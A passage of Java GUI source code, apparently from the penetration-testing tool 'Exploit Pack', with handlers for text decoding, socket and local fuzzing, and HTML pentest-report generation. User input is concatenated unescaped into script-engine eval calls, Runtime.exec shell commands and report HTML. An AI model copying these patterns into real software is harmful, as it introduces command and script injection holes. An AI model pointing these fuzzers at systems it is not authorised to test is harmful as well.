            jTextAreaEncodeDecodeResults.append("Caesar: " + engine.eval("DoCaeserDecrypt('" + jTextFieldEncodeDecode.getText() + ",10')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Bin2ASCII: " + engine.eval("bintoascii('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Encool: " + engine.eval("encool('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Revese: " + engine.eval("DoReverse('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("Arabica-2RS: " + engine.eval("_decodearab('" + jTextFieldEncodeDecode.getText() + "')"));
            jTextAreaEncodeDecodeResults.append("\n");
            jTextAreaEncodeDecodeResults.append("ESAB-46: " + engine.eval("desab64('" + jTextFieldEncodeDecode.getText() + "')"));
        } catch (ScriptException ex) {
            Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton30ActionPerformed

    private void jTextFieldEncodeDecodeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldEncodeDecodeActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldEncodeDecodeActionPerformed

    private void jTextFieldEncodeDecodeMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldEncodeDecodeMouseClicked
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldEncodeDecodeMouseClicked

    private void jCheckBoxSocketRandomActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jCheckBoxSocketRandomActionPerformed
        // TODO add your handling code here:

        jTextFieldSocketData.setText(String.valueOf(Long.toHexString(Double.doubleToLongBits(Math.random()))));
    }//GEN-LAST:event_jCheckBoxSocketRandomActionPerformed

    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
        // TODO add your handling code here:
        try {
            jTextAreaSocketFuzz.setText("");
            String data = "";
            if (!"1234567890asdfghjkl".equals(jTextFieldSocketData.getText())) {
                data = jTextFieldSocketData.getText();
            }
            if (jTextFieldSocketData.getText().equals("")) {
                jTextFieldSocketData.setText("No data");
            }
            jTextAreaSocketFuzz.append("Data sent to: " + jTextFieldSocketURL.getText() + "\n");
            jTextAreaSocketFuzz.append("Using data: " + jTextFieldSocketData.getText() + "\n");

            // Create a URL to check app version
            URL url = new URL(jTextFieldSocketURL.getText() + ":" + jTextFieldSocketPort.getText() + "/" + data);
            // Read all the text returned by the server
            BufferedReader in = new BufferedReader(
                    new InputStreamReader(url.openStream()));
            String socketLine;
            while ((socketLine = in.readLine()) != null) {
                jTextAreaSocketFuzz.append(socketLine + "\n");
            }
            in.close();
            jTextAreaSocketFuzz.setCaretPosition(0);
        } catch (IOException ex) {
            jTextAreaSocketFuzz.append("No response received, sorry.\n");
            Logger
                    .getLogger(InitialCheck.class
                            .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton1ActionPerformed

    private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
        try {
            String imglogo = "";
            if (jTextFieldPentestImage.getText().contains("/image/path")) {
                imglogo = "../logo.png";
            } else {
                imglogo = jTextFieldPentestImage.getText();
            }
            // Obtain local time
            Format formatter;
            Date date = new Date();
            formatter = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z");
            LogTime = formatter.format(date);
            // TODO add your handling code here:
            File dir = new File("output/" + jTextFieldPentestName.getText());
            dir.mkdir();
            FileWriter fstream = new FileWriter("output/" + jTextFieldPentestName.getText() + "/" + jTextFieldPentestName.getText() + ".html");
            BufferedWriter out = new BufferedWriter(fstream);
            out.append("<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">");
            out.append("<style type=\"text/css\">");
            out.append("				* {text-decoration: none; vertical-align: baseline;}");
            out.append("				table {border-collapse: collapse; empty-cells: show;}");
            out.append("				:link, :visited {text-decoration: underline;}");
            out.append("				.style_0 { font-family: serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: medium; text-indent: 0em; text-align: ");
            out.append("left; letter-spacing: normal; word-spacing: normal; text-transform: none; white-space: normal; color: #000000; orphans: 2; widows: 2; page-");
            out.append("break-inside: auto; line-height: normal;}");
            out.append("				.style_5 { font-weight: bold; font-size: xx-large; text-align: center;}\n"
                    + "				.style_13 { text-align: right;}\n"
                    + "				.style_15 { background-color: #eaeaea;}\n"
                    + "				.style_18 { vertical-align: top;}\n"
                    + "				.style_20 { border-top: thin solid #808080; border-right: thin solid #808080; border-bottom: thin solid #808080; border-left: thin solid #808080;}\n"
                    + "				.style_21 { vertical-align: middle;}\n"
                    + "				.style_22 { font-family: sans-serif; font-weight: bold; font-size: 18pt; color: #004080;}\n"
                    + "				.style_23 { font-family: sans-serif; font-size: 10pt;}\n"
                    + "				.style_24 { font-family: sans-serif; font-weight: bold; font-size: 18pt;}\n"
                    + "				.style_25 { background-color: #ffffff; vertical-align: top;}\n"
                    + "				.style_32 { background-color: #4b6987;}\n"
                    + "				.style_43 { font-family: sans-serif; font-weight: bold; font-size: x-large;}\n"
                    + "				.style_45 { font-family: sans-serif; font-style: italic; font-weight: bold; font-size: x-large; padding-top: 2pt; padding-right: 2pt; padding-bottom: 2pt; padding-left: 2pt;}\n"
                    + "				.style_52 { background-color: orange;}\n"
                    + "				.style_54 { font-family: sans-serif; font-weight: bold; padding-top: 2pt; padding-right: 2pt; padding-bottom: 2pt; padding-left: 2pt;}\n"
                    + "				.style_56 { font-family: sans-serif; padding-top: 2pt; padding-right: 2pt; padding-bottom: 2pt; padding-left: 2pt;}\n"
                    + "				.style_58 { font-family: sans-serif; padding-top: 2pt; padding-right: 2pt; padding-bottom: 2pt; padding-left: 2pt;}\n"
                    + "				.style_61 { font-family: sans-serif; font-size: x-small;}\n"
                    + "		</style>");
            out.append("	<!--[if gte IE 5.5000]>\n"
                    + "		   <script language=\"JavaScript\"> var ie55up = true </script>\n"
                    + "		<![endif]-->\n"
                    + "		<script language=\"JavaScript\">\n"
                    + "		   function fixPNG(myImage) // correctly handle PNG transparency in Win IE 5.5 or higher.\n"
                    + "		      {\n"
                    + "		      if (window.ie55up)\n"
                    + "		         {\n"
                    + "		         var imgID = (myImage.id) ? \"id='\" + myImage.id + \"' \" : \"\"\n"
                    + "		         var imgClass = (myImage.className) ? \"class='\" + myImage.className + \"' \" : \"\"\n"
                    + "		         var imgTitle = (myImage.title) ? \"title='\" + myImage.title + \"' \" : \"title='\" + myImage.alt + \"' \"\n"
                    + "		         var imgStyle = \"display:inline-block;\" + myImage.style.cssText\n"
                    + "		         var strNewHTML = \"<span \" + imgID + imgClass + imgTitle\n"
                    + "		         strNewHTML += \" style=\\\"\" + \"width:\" + myImage.width + \"px; height:\" + myImage.height + \"px;\" + imgStyle + \";\"\n"
                    + "		         strNewHTML += \"filter:progid:DXImageTransform.Microsoft.AlphaImageLoader\"\n"
                    + "		         strNewHTML += \"(src=\\'\" + myImage.src + \"\\', sizingMethod='scale');\\\"></span>\"\n"
                    + "		         myImage.outerHTML = strNewHTML\n"
                    + "		         }\n"
                    + "		      }\n"
                    + "		</script>\n"
                    + "	</head>");
            out.append("	<body class=\"style_0\">\n"
                    + "		<table class=\"style_15\" style=\" width: 100%;\">\n"
                    + "			<colgroup><col style=\" width: 2.8in;\">\n"
                    + "			<col style=\" width: 3.125in;\">\n"
                    + "			</colgroup><tbody>\n"
                    + "				<tr class=\"style_18\">\n"
                    + "					<td>\n"
                    + "						<div>\n"
                    + "							<img  width=\"300\" src=\"" + imglogo + "\">\n"
                    + "						</div>\n"
                    + "					</td>\n"
                    + "					<td class=\"style_21\">\n"
                    + "						<div class=\"style_22\" style=\"margin-left:-180px;\">\n"
                    + "					Penetration Test Report - Generated using Exploit Pack	\n"
                    + "						</div>\n"
                    + "						<div class=\"style_23\" style=\"margin-left:-180px;\">\n"
                    + "							<br>\n"
                    + "							<br>" + LogTime + "\n"
                    + "							<br>\n"
                    + "							<br>\n"
                    + "						</div>\n"
                    + "						<div class=\"style_24\" style=\"margin-left:-180px;\">\n"
                    + "							" + jTextFieldPentestSubTittle.getText() + "\n"
                    + "						</div>\n"
                    + "					</td>\n"
                    + "				</tr>\n"
                    + "				<tr class=\"style_25\" style=\" height: 0.25in;\">\n"
                    + "					<td></td>\n"
                    + "					<td class=\"style_21\"></td>\n"
                    + "				</tr>\n"
                    + "			</tbody>\n"
                    + "		</table>");
            out.append("	<table style=\" width: 100%;\">\n"
                    + "			<colgroup><col style=\" width: 3.114in;\">\n"
                    + "			<col style=\" width: 1.427in;\">\n"
                    + "			<col style=\" width: 1.427in;\">\n"
                    + "			</colgroup><tbody>\n"
                    + "\n"
                    + "\n"
                    + "<!-- HEADER -->\n"
                    + "<tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "					<td class=\"style_32\"></td>\n"
                    + "					<td class=\"style_32\"></td>\n"
                    + "					<td class=\"style_32\"></td>\n"
                    + "				</tr>\n"
                    + "				<tr style=\" height: 0.1in;\">\n"
                    + "					<td colspan=\"3\">\n"
                    + "						<table style=\" width: 100%;\">\n"
                    + "							<colgroup><col style=\" width: 2.093in;\">\n"
                    + "							<col style=\" width: 3.802in;\">\n"
                    + "							</colgroup><tbody>\n"
                    + "								<tr>\n"
                    + "									<td>\n"
                    + "										<div class=\"style_43\">\n"
                    + "										Overview and Results\n"
                    + "										</div>\n"
                    + "									</td>\n"
                    + "									<td>\n"
                    + "										<div class=\"style_45\">\n"
                    + "												1. Executive Summary\n"
                    + "										</div>\n"
                    + "									</td>\n"
                    + "								</tr>\n"
                    + "							</tbody>\n"
                    + "						</table>\n"
                    + "					</td>\n"
                    + "				</tr>\n"
                    + "\n"
                    + "                                <tr>\n"
                    + "                                        <td colspan=\"3\">\n"
                    + "                                                <div class=\"style_56\">\n"
                    + "                                               " + jTextAreaPentestHeader.getText() + " \n"
                    + "						</div>\n"
                    + "                                        </td>\n"
                    + "                                </tr>\n"
                    + "                                <tr style=\" height: 0.25in;\">\n"
                    + "                                        <td></td>\n"
                    + "                                        <td></td>\n"
                    + "                                        <td></td>\n"
                    + "                                </tr>\n"
                    + "\n"
                    + "\n"
                    + "				<tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "					<td class=\"style_32\" colspan=\"3\"></td>\n"
                    + "				</tr>\n"
                    + "				<tr style=\" height: 0.25in;\">\n"
                    + "					<td></td>\n"
                    + "					<td></td>\n"
                    + "					<td></td>\n"
                    + "				</tr>");
            out.append(" <!-- FINDINGS -->\n"
                    + "                <tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.1in;\">\n"
                    + "                    <td colspan=\"3\">\n"
                    + "                        <table style=\" width: 100%;\">\n"
                    + "                            <colgroup><col style=\" width: 2.093in;\">\n"
                    + "                                <col style=\" width: 3.802in;\">\n"
                    + "                                    </colgroup><tbody>\n"
                    + "                                        <tr>\n"
                    + "                                            <td>\n"
                    + "                                                <div class=\"style_43\">\n"
                    + "                                                    Vulnerability Details                                </div>\n"
                    + "                                            </td>\n"
                    + "                                            <td>\n"
                    + "                                                <div class=\"style_45\">\n"
                    + "                                                    2. List of Findings\n"
                    + "                                                </div>\n"
                    + "                                            </td>\n"
                    + "                                        </tr>\n"
                    + "                                    </tbody>\n"
                    + "                        </table>\n"
                    + "                    </td>\n"
                    + "                </tr>\n"
                    + "                \n"
                    + "                <tr>\n"
                    + "                    <td colspan=\"3\">\n"
                    + "            <hr>");

            // FINDING
            String filename = "output/executionlog.eplog";
            // Read file
            FileReader fstreamfinding = new FileReader(filename);
            BufferedReader infinding = new BufferedReader(fstreamfinding);
            String stringToAppend;
            while ((stringToAppend = infinding.readLine()) != null) {
                if (stringToAppend.contains("Exploit Name::")) {
                    out.append("<!-- VULNERABILITY-->\n"
                            + "                    <div class=\"style_56\">\n"
                            + "                            <tr class=\"style_52\">\n"
                            + "                                <td class=\"style_52\">\n"
                            + "                                    <div class=\"style_54\">\n"
                            + "                                        Name: " + stringToAppend.replace("EXPLOIT NAME:", "") + "\n");

                }
                if (stringToAppend.contains("Exploit Type:")) {
                    out.append("                                    </div>\n"
                            + "                                </td>\n"
                            + "                                <td class=\"style_52\">\n"
                            + "                                    <div class=\"style_56\" style=\"margin-left:-210px;\">\n"
                            + "                                        Module type: " + stringToAppend.replace("EXPLOIT TYPE:", "") + "\n"
                            + "                                    </div>\n"
                            + "                                </td>\n");

                }
                if (stringToAppend.contains("Exploit Platform:")) {
                    out.append("                                <td class=\"style_52\">\n"
                            + "                                    <div class=\"style_58\">\n"
                            + "                                        Platform: " + stringToAppend.replace("EXPLOIT PLATFORM:", "") + "\n");
                }
                if (stringToAppend.contains("Exploit Description:")) {
                    out.append("                                    </div>\n"
                            + "                                </td>\n"
                            + "                            </tr>\n"
                            + "                            <tr>\n"
                            + "                                <td colspan=\"3\">\n"
                            + "                                    <div class=\"style_56\">\n"
                            + "                                       " + stringToAppend.replace("EXPLOIT DESCRIPTION:", "") + "                                    </div>\n"
                            + "                                </td>\n"
                            + "                            </tr>\n"
                            + "                            <tr style=\" height: 0.25in;\">\n"
                            + "                                <td></td>\n"
                            + "                                <td></td>\n"
                            + "                                <td></td>\n"
                            + "                            </tr>\n"
                            + "                            \n"
                            + "                        </div>\n"
                            + "           <!-- END VULNERABILITY --> ");
                }
            }
            // Close the output stream
            infinding.close();

            // MANUAL FINDING 1
            out.append("<!-- VULNERABILITY-->\n"
                    + "                    <div class=\"style_56\">\n"
                    + "                            <tr class=\"style_52\">\n"
                    + "                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_54\">\n"
                    + "                                        Name: " + jTextFieldCustom1.getText() + "\n");

            out.append("                                    </div>\n"
                    + "                                </td>\n"
                    + "                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_56\" style=\"margin-left:-210px;\">\n"
                    + "                                        Module type: " + "Custom" + "\n"
                    + "                                    </div>\n"
                    + "                                </td>\n");

            out.append("                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_58\">\n"
                    + "                                        Risk level: " + jComboBoxCustom1.getSelectedItem().toString() + "\n");

            out.append("                                    </div>\n"
                    + "                                </td>\n"
                    + "                            </tr>\n"
                    + "                            <tr>\n"
                    + "                                <td colspan=\"3\">\n"
                    + "                                    <div class=\"style_56\">\n"
                    + "                                       " + jTextFieldCustomDesc1.getText() + "                                    </div>\n"
                    + "                                </td>\n"
                    + "                            </tr>\n"
                    + "                            <tr style=\" height: 0.25in;\">\n"
                    + "                                <td></td>\n"
                    + "                                <td></td>\n"
                    + "                                <td></td>\n"
                    + "                            </tr>\n"
                    + "                            \n"
                    + "                        </div>\n"
                    + "           <!-- END VULNERABILITY --> ");

            // MANUAL FINDING 2
            out.append("<!-- VULNERABILITY-->\n"
                    + "                    <div class=\"style_56\">\n"
                    + "                            <tr class=\"style_52\">\n"
                    + "                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_54\">\n"
                    + "                                        Name: " + jTextFieldCustom2.getText() + "\n");

            out.append("                                    </div>\n"
                    + "                                </td>\n"
                    + "                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_56\" style=\"margin-left:-210px;\">\n"
                    + "                                        Module type: " + "Custom" + "\n"
                    + "                                    </div>\n"
                    + "                                </td>\n");

            out.append("                                <td class=\"style_52\">\n"
                    + "                                    <div class=\"style_58\">\n"
                    + "                                        Risk level: " + jComboBoxCustom2.getSelectedItem().toString() + "\n");

            out.append("                                    </div>\n"
                    + "                                </td>\n"
                    + "                            </tr>\n"
                    + "                            <tr>\n"
                    + "                                <td colspan=\"3\">\n"
                    + "                                    <div class=\"style_56\">\n"
                    + "                                       " + jTextFieldCustomDesc2.getText() + "                                    </div>\n"
                    + "                                </td>\n"
                    + "                            </tr>\n"
                    + "                            <tr style=\" height: 0.25in;\">\n"
                    + "                                <td></td>\n"
                    + "                                <td></td>\n"
                    + "                                <td></td>\n"
                    + "                            </tr>\n"
                    + "                            \n"
                    + "                        </div>\n"
                    + "           <!-- END VULNERABILITY --> ");
            // END OF MANUAL
            out.append("                  </td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.25in;\">\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                </tr>\n"
                    + "                \n"
                    + "                <tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "                    <td class=\"style_32\" colspan=\"3\"></td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.25in;\">\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                </tr>\n"
                    + "            <!-- FOOTER -->\n"
                    + "                <tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                    <td class=\"style_32\"></td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.1in;\">\n"
                    + "                    <td colspan=\"3\">\n"
                    + "                        <table style=\" width: 100%;\">\n"
                    + "                            <colgroup><col style=\" width: 2.093in;\">\n"
                    + "                                <col style=\" width: 3.802in;\">\n"
                    + "                                    </colgroup><tbody>\n"
                    + "                                        <tr>\n"
                    + "                                            <td>\n"
                    + "                                                <div class=\"style_43\">\n"
                    + "                                                    Summary and Conclusions\n"
                    + "                                                </div>\n"
                    + "                                            </td>\n"
                    + "                                            <td>\n"
                    + "                                                <div class=\"style_45\">\n"
                    + "                                                3. Recommendations\n"
                    + "                                                </div>\n"
                    + "                                            </td>\n"
                    + "                                        </tr>\n"
                    + "                                    </tbody>\n"
                    + "                        </table>\n"
                    + "                    </td>\n"
                    + "                </tr>\n"
                    + "                \n"
                    + "                <tr>\n"
                    + "                    <td colspan=\"3\">\n"
                    + "                        <div class=\"style_56\">\n"
                    + "                            " + jTextAreaPentestFooter.getText() + "\n"
                    + "                        </div>\n"
                    + "                    </td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.25in;\">\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                </tr>\n"
                    + "                \n"
                    + "                <tr class=\"style_32\" style=\" height: 0.1in;\">\n"
                    + "                    <td class=\"style_32\" colspan=\"3\"></td>\n"
                    + "                </tr>\n"
                    + "                <tr style=\" height: 0.25in;\">\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                    <td></td>\n"
                    + "                </tr>\n"
                    + "			</tbody>\n"
                    + "		</table>\n"
                    + "        <center style=\"font-family: verdana;\">Please consider making a donation to Exploit Pack Project.</center>\n"
                    + "</body></html>");
            //Close the output stream
            out.close();

            // Open report
            int reply = JOptionPane.showConfirmDialog(null, "Report \"" + jTextFieldPentestName.getText() + "\" created successfully. Should I open the report for you?", "Exploit Pack says:", JOptionPane.YES_NO_OPTION);
            if (reply == JOptionPane.YES_OPTION) {
                String url = "file:///" + dir.getAbsolutePath() + "/" + jTextFieldPentestName.getText() + ".html";
                Desktop.getDesktop().browse(java.net.URI.create(url));
            } else {
                JOptionPane.showMessageDialog(null, "Report \"" + jTextFieldPentestName.getText() + "\" exported to output folder.", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);

            }
        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton2ActionPerformed

    private void jButton11ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton11ActionPerformed
        String filename = "";
        // TODO add your handling code here:
        JFileChooser fileChooser = new JFileChooser(new File(filename));
        fileChooser.showSaveDialog(this);
        jTextFieldPentestImage.setText(fileChooser.getSelectedFile().toString());
    }//GEN-LAST:event_jButton11ActionPerformed

    private void jTextFieldPentestSubTittleMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldPentestSubTittleMouseClicked
        // TODO add your handling code here:
        if (jTextFieldPentestSubTittle.getText().contains("Vulnerability report 2017")) {
            jTextFieldPentestSubTittle.setText("");
        }
    }//GEN-LAST:event_jTextFieldPentestSubTittleMouseClicked

    private void jTextFieldPentestNameActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldPentestNameActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldPentestNameActionPerformed

    private void jTextFieldPentestNameMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldPentestNameMouseClicked
        // TODO add your handling code here:
        if (jTextFieldPentestName.getText().contains("My first pentest using Exploit Pack")) {
            jTextFieldPentestName.setText("");
        }
    }//GEN-LAST:event_jTextFieldPentestNameMouseClicked

    private void jButton34MousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton34MousePressed
        // TODO add your handling code here:
        String filename = "";
        JFileChooser fileChooser = new JFileChooser(new File(filename));
        fileChooser.showSaveDialog(this);
        jTextFieldFuzzBinary.setText(fileChooser.getSelectedFile().toString());
    }//GEN-LAST:event_jButton34MousePressed

    private void jLabel38MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel38MouseClicked
        // TODO add your handling code here:
    }//GEN-LAST:event_jLabel38MouseClicked

    private void jButtonFuzzer2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonFuzzer2ActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jButtonFuzzer2ActionPerformed

    private void jButtonFuzzer2MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButtonFuzzer2MouseClicked
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            return;
        }
        Thread fuzzThread = null;
        DefaultCaret caret = (DefaultCaret) jTextAreaFuzzerLog.getCaret();
        caret.setUpdatePolicy(ALWAYS_UPDATE);

        if (this.jButtonFuzzer2.getText().equals("Start Fuzzer")) {
            this.jButtonFuzzer2.setForeground(Color.WHITE);
            this.jButtonFuzzer2.setText("Stop Fuzzer");
            fuzzThread = new Thread("fuzzThread") {
                @Override
                public void run() {
                    try {
                        String All = "";
                        String NoArgs = "";
                        String Lower = "";
                        String Pattern = "";
                        String Upper = "";
                        String Random = "";

                        if (jCheckBoxAll.isSelected()) {
                            All = "-a";
                        }
                        if (jCheckBoxNoArgs.isSelected()) {
                            NoArgs = "-n";
                        }
                        if (jCheckBoxPattern.isSelected()) {
                            Pattern = "-db";
                        }
                        if (jCheckBoxLower.isSelected()) {
                            Lower = "-l";
                        }
                        if (jCheckBoxUpper.isSelected()) {
                            Upper = "-u";
                        }
                        if (jCheckBoxRandom.isSelected()) {
                            Random = "-r";
                        }
                        if (All.equals("") && NoArgs.equals("") && Lower.equals("") && Pattern.equals("") && Upper.equals("") && Random.equals("")) {
                            JOptionPane.showMessageDialog(null, "Please choose an option for the fuzzer.", "Exploit Pack says:", JOptionPane.ERROR_MESSAGE);

                        }
                        String fuzzChar = jTextFieldFuzzChar.getText();
                        DefaultTreeModel modelStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
                        DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelStatus.getChild(modelStatus.getRoot(), 0);
                        rootStatus.add(new DefaultMutableTreeNode("Fuzzer Local"));
                        jTreeModuleStatus.expandRow(0);
                        modelStatus.reload(rootStatus);
                        String line;
                        OutputStream stdin = null;
                        InputStream stderr = null;
                        InputStream stdout = null;

                        String OS = null;
                        String readLog = null;
                        OS = System.getProperty("os.name");
                        String Switch = OS;
                        if (Switch.contains("Windows")) {
                            runModule = "cmd.exe /c cd %temp% & cmd.exe /c start powershell.exe -NoExit /c  " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "FuzzerLocal.py" + " -f " + jTextFieldFuzzBinary.getText() + " -c " + jTextFieldFuzzChar.getText() + " " + All + " " + NoArgs + " " + Pattern + " " + Lower + " " + Upper + " " + Random;
                        }
                        if (Switch.equals("Linux")) {
                            runModule = "xterm -T Fuzzer -geometry 200x80+0+900 -bg black -fg green -hold -e " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "FuzzerLocal.py " + " -f " + jTextFieldFuzzBinary.getText() + " -c " + jTextFieldFuzzChar.getText() + " " + All + " " + NoArgs + " " + Pattern + " " + Lower + " " + Upper + " " + Random;
                        }
                        if (Switch.contains("Mac")) {
                            runModule = "/usr/bin/open -a Terminal " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + "FuzzerLocal.py " + " -f " + jTextFieldFuzzBinary.getText() + " -c " + jTextFieldFuzzChar.getText() + " " + All + " " + NoArgs + " " + Pattern + " " + Lower + " " + Upper + " " + Random;
                        }
                        Runtime.getRuntime().exec(runModule);
                        // Sleep before opening the log
                        Thread.sleep(1000);
                        if (Switch.contains("Windows")) {
                            readLog = "cmd.exe /c cd %temp% && powershell.exe /c Get-Content -Path \"$env:temp\\" + "segfault.log -Wait";
                        }
                        if (Switch.equals("Linux")) {
                            readLog = "tail -f " + "segfault.log";
                        }
                        if (Switch.contains("Mac")) {
                            readLog = "tail -f " + "segfault.log";
                        }
                        processFuzzer = Runtime.getRuntime().exec(readLog);
                        stdin = processFuzzer.getOutputStream();
                        stderr = processFuzzer.getErrorStream();
                        stdout = processFuzzer.getInputStream();

                        // "write" the parms into stdin
                        //stdin.write(line.getBytes());
                        stdin.flush();
                        stdin.close();

                        // Obtain local time
                        Format formatter;
                        Date date = new Date();
                        formatter = new SimpleDateFormat("HH:mm:ss");
                        LogTime = formatter.format(date);
                        jTextAreaFuzzerLog2.append("[" + LogTime + "]" + " Your fuzzing session has been initiated.\n");
                        jTextAreaFuzzerLog2.append("[" + LogTime + "]" + " Log saved as: segfault.log\" \n");
                        // clean up if any output in stdout
                        BufferedReader brCleanUp
                                = new BufferedReader(new InputStreamReader(stdout));
                        while ((line = brCleanUp.readLine()) != null) {
                            jTextAreaFuzzerLog2.append(line + "\n");
                            //jTextAreaFuzzerLog.setCaretPosition(jTextAreaFuzzerLog.getDocument().getLength());
                        }
                        brCleanUp.close();

                        // clean up if any output in stderr
                        brCleanUp
                                = new BufferedReader(new InputStreamReader(stderr));
                        while ((line = brCleanUp.readLine()) != null) {
                            jTextAreaFuzzerLog2.append(line + "\n");
                            //  jTextAreaFuzzerLog.setCaretPosition(jTextAreaFuzzerLog.getDocument().getLength());
                        }

                        brCleanUp.close();

                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            };
            jProgressBarModuleStatus.setValue(100);
            fuzzThread.start();

        } else if (this.jButtonFuzzer2.getText().equals("Stop Fuzzer")) {
            processFuzzer.destroy();
            this.jButtonFuzzer2.setForeground(Color.WHITE);
            this.jButtonFuzzer2.setText("Start Fuzzer");

            if (fuzzThread != null) {
                fuzzThread.interrupt();
            }
        }
    }//GEN-LAST:event_jButtonFuzzer2MouseClicked

    private void jTextFieldFuzzPortActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldFuzzPortActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldFuzzPortActionPerformed

    private void jTextFieldFuzzPortMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldFuzzPortMouseClicked
        // TODO add your handling code here:
        this.jTextFieldFuzzPort.setText("");
    }//GEN-LAST:event_jTextFieldFuzzPortMouseClicked

    private void jTextFieldFuzzHostMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldFuzzHostMouseClicked
        // TODO add your handling code here:
        this.jTextFieldFuzzHost.setText("");
    }//GEN-LAST:event_jTextFieldFuzzHostMouseClicked

    private void jButtonFuzzerActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonFuzzerActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jButtonFuzzerActionPerformed

    private void jButtonFuzzerMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButtonFuzzerMouseClicked
        if (!SplashScreen.filepath) {
            return;
        }
        Thread fuzzThread = null;
        DefaultCaret caret = (DefaultCaret) jTextAreaFuzzerLog.getCaret();
        caret.setUpdatePolicy(ALWAYS_UPDATE);

        if (this.jButtonFuzzer.getText().equals("Start Fuzzer")) {
            this.jButtonFuzzer.setForeground(Color.WHITE);
            this.jButtonFuzzer.setText("Stop Fuzzer");
            fuzzThread = new Thread("fuzzThread") {
                @Override
                public void run() {
                    try {
                        String line;
                        OutputStream stdin = null;
                        InputStream stderr = null;
                        InputStream stdout = null;
                        DefaultTreeModel modelStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
                        DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelStatus.getChild(modelStatus.getRoot(), 0);
                        rootStatus.add(new DefaultMutableTreeNode("TCP Fuzzer"));
                        jTreeModuleStatus.expandRow(0);
                        modelStatus.reload(rootStatus);
                        // launch EXE and grab stdin/stdout and stderr
                        String selectedFuzzType = "";
                        if (jComboBoxFuzzType.getSelectedItem().toString().toLowerCase().equals("client")) {
                            selectedFuzzType = "client";
                        } else {
                            selectedFuzzType = "server";
                        }

                        String OS = null;
                        String readLog = null;
                        OS = System.getProperty("os.name");
                        String Switch = OS;
                        if (Switch.contains("Windows")) {
